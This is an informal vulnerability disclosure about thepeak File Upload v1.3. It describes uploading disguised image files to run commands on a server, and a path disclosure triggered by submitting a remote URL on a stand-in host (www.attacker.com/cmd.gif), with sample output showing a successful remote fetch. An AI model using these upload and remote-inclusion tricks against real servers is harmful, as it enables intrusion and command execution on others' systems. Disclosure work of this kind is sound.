a path disclosure and a posibility file inclusion and vulneability in thepeak file upload v1.3

Justin_T

#NT - Undernet

justint (at) orangemail.com (dot) do [email concealed]

hi,

there is a posiblity path disclosure and run commands on a server usint thepeak File Upload v1.3

searching for /fileupload/index.php an attacker can upload a malicious jpg of gif and can execute commands or make a file inclusion,

but it cant be directly to upload a php file with .jpg extension, because detect the content type as text/plain, look this:

name : cmd.jpg

type : text/plain <--- when you upload the file the content type is seem like this

tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a ramdom temp

error : 0

size : 26564

http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the original file

there is a 2 ways to get in

cracking the content-type when uploading the file or constructing an malicious jpg image with some commands:

1: chmod the dir for file inclusion

2: run certain commands on server, etc

Path Disclosure

when you try to put in input of upload file something like

http://www.attacker.com/command.jpg its seem the path of the web files like this:

File Upload Manager v1.3 © thepeak

name : http://www.attacker.com/cmd.gif

type : application/octet-stream

tmp_name : /tmp/phptd8aE0

error : 0

size : 0

Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No such file or directory in /home/user/public_html//fileupload/index.php on line 471

ERROR: cannot upload, please chmod the dir to 777

some servers accept the file inclusion and you get this

name : http://www.attacker.com/cmd.gif

type : application/octet-stream

tmp_name : /tmp/phptd8aE0

error : 0

size : 1035

file uploaded!

sorry for my english, is no good :), if you want to organizate this info i apreciated that, thanx :)